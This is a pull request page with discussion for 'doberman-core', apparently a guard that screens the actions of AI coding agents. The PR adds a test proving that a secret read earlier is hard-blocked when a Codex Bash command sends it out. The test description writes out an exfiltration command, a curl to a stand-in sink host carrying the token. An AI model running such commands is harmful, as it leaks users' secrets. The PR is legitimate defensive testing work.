Menu

#391 test(parity): prove read-vs-send fingerprint block on codex

closed
nobody
None
2026-08-27
2026-08-16
Anonymous
No

Originally created by: blackcoderx

Pull Request

Slice

  • Repo: doberman-core
  • Feature / Slice: parity — read-vs-send fingerprint block on codex (closes [#313])

What this PR does

Adds the Codex sibling of tests/unit/test_hosthook_exfil_fingerprint.py::test_read_then_send_same_secret_is_confirmed_block_in_balanced,
proving that a secret read into a session earlier that later appears verbatim
in an outbound Codex Bash command is a confirmed read-then-send exfil and
hard-blocks. No production code changes — the confirmatory match
(engine.taint_floor._outbound_matches_recorded_secret
storage.taint.match_secret_fingerprint) already runs on every host through
the shared hosthooks.spine.evaluate_action, which codex.evaluate_pre uses
just like Claude Code's evaluate_pre does; the gap was test coverage on
this host only.

Codex has no PostToolUse hook of its own (confirmed: src/doberman/hosthooks/codex.py
only exposes evaluate_pre/run_codex_pre), so the "read" step in the new
test reuses claude_code.evaluate_post — the fingerprint store is
session/entity-scoped, not host-specific (already proven cross-session in
test_confirmed_exfil_matches_cross_session_via_entity_scope). What this
test proves that's genuinely Codex-specific is the consuming side: Codex's
own evaluate_pre, through the shared spine, correctly looks up and honors
a fingerprint recorded earlier — not just Claude Code's.

docs/PARITY.md is regenerated (python -m tools.parity.generate_parity) so
the Codex cell for "An outbound value matching a read secret is blocked"
moves from to , linking to the new test. No other cell changes (the
Codex auth-action-bound cell from [#331]/PR [#390] correctly does not appear
here — that PR hasn't merged into main yet, and this branch was cut from
current main, not from that branch).

Tests added (run in CI)

  • tests/unit/test_hosthook_codex.py::test_read_then_send_same_secret_is_confirmed_block
    — marked @pytest.mark.guarantee("read-vs-send-fingerprint-block", host="codex").
    Records a high-entropy, non-credential token via claude_code.evaluate_post
    (a Read whose output carries the token), then sends the same token back
    out in a Codex Bash command (curl https://sink.example/?d=<token>) via
    codex.evaluate_pre, and asserts a confirmed_exfil BLOCK with the token
    itself never echoed in the denial reason.

Mutation-checked: temporarily forced _outbound_matches_recorded_secret
in src/doberman/engine/taint_floor.py to return False right after the
"nothing secret-shaped outbound" guard, and confirmed this new test goes red
— it falls back to the weaker AUTH-tier high-entropy-token path instead of
the confirmed BLOCK; reverted before committing.

Public-release safety (doberman-core only)

  • [x] Contains nothing from the "not allowed" list: no enterprise/hosted code, no proprietary detection, no customer data, no secrets, no commercial-license code
  • [x] Core still builds/tests/runs with NO enterprise package installed

Security checklist

  • [x] Fails closed on error / uncertainty (unchanged; this PR is test-only)
  • [x] No secret, full file, or unredacted prompt logged or committed
  • [x] Any guardrail/learning change is raise-only (no silent loosening) — N/A, no guardrail logic changed
  • [x] Every BLOCK/AUTH carries reason codes + a human explanation — unchanged, verified by the new test
  • [x] doberman-core does not import doberman_enterprise

Edge cases covered / Deviations from plan / Risks introduced

  • None beyond the issue's scope. Locally, pytest -n auto --cov=doberman --cov-fail-under=80
    reports 2853 passed / 6 skipped / 1 failed at 91.83% coverage; the one
    failure (test_real_plugin_install_discovery.py::test_installed_plugin_is_discovered_and_fires_despite_pip_target)
    is the same pre-existing, environment-specific failure noted in [#384]/#390 —
    reproduced identically on a clean main in this sandbox, unrelated to this
    change.

Written with AI assistance (Claude Code) as a guided contribution walkthrough;
all commands were run and verified locally before pushing.

Related

Tickets: #313
Tickets: #331
Tickets: #384
Tickets: #390

Discussion

  • Anonymous

    Anonymous - 2026-08-17

    Ticket changed by: fu351

    • status: open --> closed
     
  • Anonymous

    Anonymous - 2026-08-17

    Originally posted by: fu351

    Merged — this is exactly how a parity cell should be proven. The call that makes this PR is the read-step design: recognizing the fingerprint store is entity-scoped rather than host-scoped, and reusing claude_code.evaluate_post for the read instead of inventing a Codex post hook that doesn't exist. That keeps the test honest about what's Codex-specific — the consuming side through evaluate_pre — and your PR body explains that reasoning better than most production docstrings. The written-up mutation check is the cherry on top.

    One thing landed on your branch from my side, disclosed in full: main moved under you while this was open (#390 added its own test and imports to test_hosthook_codex.py, and [#395] touched the parity matrix), so I pushed a merge commit (e96cc99) rather than asking you for a rebase — union of the two import blocks, then regenerated docs/PARITY.md. No force-push, so your local branch still fast-forwards cleanly. Your test itself is untouched.

    I also re-ran your mutation check independently before merging: neutered _outbound_matches_recorded_secret and watched the test go red on the weaker AUTH-tier fallback, exactly as you described. Reverted, 25/25 green.

    Next one's still yours if you want it: #334 (level-4) — the two remaining Codex parity cells, AUTH deadline auto-deny and timeout-logged-distinctly-from-refusal. It's a step up from this one because the deadline path needs a fake clock, and you've now got the codex fixture patterns down cold.

     

    Related

    Tickets: #395

  • Anonymous

    Anonymous - 2026-08-18

    Originally posted by: fu351

    @blackcoderx The read-vs-send parity cell on Codex was a great close. If you feel like another, [#408] (the AN-1 gitignored-delete cell on Codex) just opened and is cut from the same cloth.

    Quick community roll-call: are you in the Doberman Discord? If yes, drop your handle here (or DM me there) so I can match the GitHub side of your work to your Discord name. If not, you're warmly invited: https://discord.gg/Sfy5XGNqty

     

    Related

    Tickets: #408

  • Anonymous

    Anonymous - 2026-08-18

    Originally posted by: blackcoderx

    @fu351 My handle on discord is .x.black. (the last full stop is part of it). I have joined the Doberman Discord.

     

Log in to post a comment.